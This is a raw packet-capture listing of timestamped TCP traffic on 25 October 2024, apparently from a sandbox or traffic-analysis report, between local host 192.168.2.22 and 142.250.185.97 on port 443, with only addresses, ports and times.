Oct 25, 2024 19:47:08.646707058 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.646719933 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.646795988 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.646795988 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.648155928 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.648185015 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.648221970 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.648221970 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.648227930 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.648231983 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.648327112 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.648327112 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.649065018 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.649085999 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.649110079 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.649115086 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.649233103 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.649354935 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.649713039 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.649739027 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.649789095 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.649789095 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.649794102 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.649862051 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.650126934 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.650149107 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.650197029 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.650197029 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.650202990 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.650546074 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.650949001 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.650974035 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.651005983 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.651010990 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.651029110 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.651029110 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.651376963 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.651397943 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.651451111 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.651451111 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.651459932 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.697112083 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.697140932 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.697184086 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.697184086 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.697191954 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.697278023 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.763022900 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.763051033 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.763123035 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.763123035 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.763132095 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.763204098 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.763757944 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.763782978 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.763863087 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.763863087 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.763869047 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.764256001 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.764277935 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.764317989 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.764326096 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.764389038 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.764389992 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.764482021 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.765198946 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.765222073 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.765263081 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.765263081 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.765266895 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.765345097 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.765917063 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.765938044 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.765959978 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.765964031 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.766010046 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.766097069 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.766097069 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.766097069 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.766557932 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:09.214843035 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:09.215039015 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:09.219465971 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:09.219479084 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:09.219772100 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:09.226917028 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:09.271325111 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:11.867043018 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:11.869932890 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:11.875556946 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:11.875639915 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:11.984757900 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:11.984828949 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:11.984865904 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:11.984886885 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:11.984903097 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:11.985148907 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:11.986588001 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:11.987454891 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:11.987462044 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:11.991022110 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:11.993086100 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:11.993092060 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:11.999707937 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.002125025 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.002131939 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.008331060 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.011305094 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.011317968 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.017127991 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.025732040 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.025760889 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.025932074 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.025938034 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.025999069 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.101103067 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.103424072 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.103477955 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.103554964 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.103586912 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.103621960 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.103621960 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.103634119 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.107949972 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.112938881 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.112946987 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.121471882 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.124954939 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.124963045 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.125164986 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.125224113 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.125235081 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.134033918 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.134143114 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.134147882 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.142775059 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.142827988 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.142833948 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.218627930 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.218708992 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.218717098 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.220644951 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.220686913 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.220698118 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.220704079 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.220741034 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.220746040 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.220782995 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.220824003 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.220830917 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.225002050 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.225052118 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.225054979 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.225061893 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.225095034 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.238692045 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.242219925 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.242275000 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.242278099 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.242290020 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.242312908 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.251542091 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.259696007 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.259747028 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.259754896 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.259761095 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.259783983 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.335247040 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.338181019 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.338247061 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.338274002 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.338279009 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.338289976 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.338344097 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.338351011 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.342130899 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.342169046 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.342200994 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.342223883 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.342230082 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.342238903 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.355710983 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.355767012 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.355799913 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.355804920 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.355838060 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.359275103 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.368660927 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.368700027 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.368745089 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.368752003 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.368784904 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.376986027 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.453110933 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.453196049 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.453258038 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.453270912 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.453310013 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.455554008 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.455760002 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.455809116 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.455816984 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.459335089 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.459388018 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.459397078 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.459403038 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.459439993 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.459445953 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.472826958 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.472879887 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.472903967 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.472912073 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.472954035 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.476872921 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.485827923 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.485889912 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.485901117 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.485908031 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.485939980 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.485945940 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.493977070 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.494030952 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.494060040 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.494065046 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.494098902 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.570067883 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.573081017 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.573127031 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.573159933 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.573169947 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.573210001 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.577528954 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.577591896 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.577640057 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.577646017 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.577680111 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.577712059 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.577717066 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.590450048 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.590492964 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.590545893 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.590554953 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.590591908 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.593966007 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.602843046 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.602884054 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.602926016 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.602931976 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.602967978 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.611218929 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.611287117 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.611335993 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.611341953 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.611460924 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.611502886 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.611509085 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.687351942 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.687542915 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.687551022 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.690207005 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.690254927 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.690259933 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.694339991 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.694385052 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.694385052 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.694395065 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.694422007 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.694427967 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.707784891 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.707830906 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.707843065 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.707849026 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.707892895 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.710860014 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.710942984 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.710990906 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.710994959 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.719798088 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.719865084 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.719880104 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.719886065 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.719921112 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.728128910 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.728251934 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.728286028 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.728302002 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.728308916 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.728343010 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.804626942 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.804837942 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.804878950 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.804887056 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.808377981 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.808425903 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.808432102 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.811589003 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.811638117 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.811644077 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.811784029 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.811825991 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.811830997 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.825125933 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.825232983 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.825241089 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.828615904 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.828670025 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.828675985 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.828782082 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.828825951 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.828831911 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.828922987 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.828959942 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.828965902 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.838377953 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.838459969 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.838468075 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.845432043 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.845463991 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.845489979 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.845499992 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.845541954 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.845617056 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.922333956 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.922549009 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.922563076 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.925565004 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.925616980 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.925625086 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.928572893 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.928601027 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.928617001 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:12.928625107 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:12.928657055 CEST	49174	443	192.168.2.22	142.250.185.97
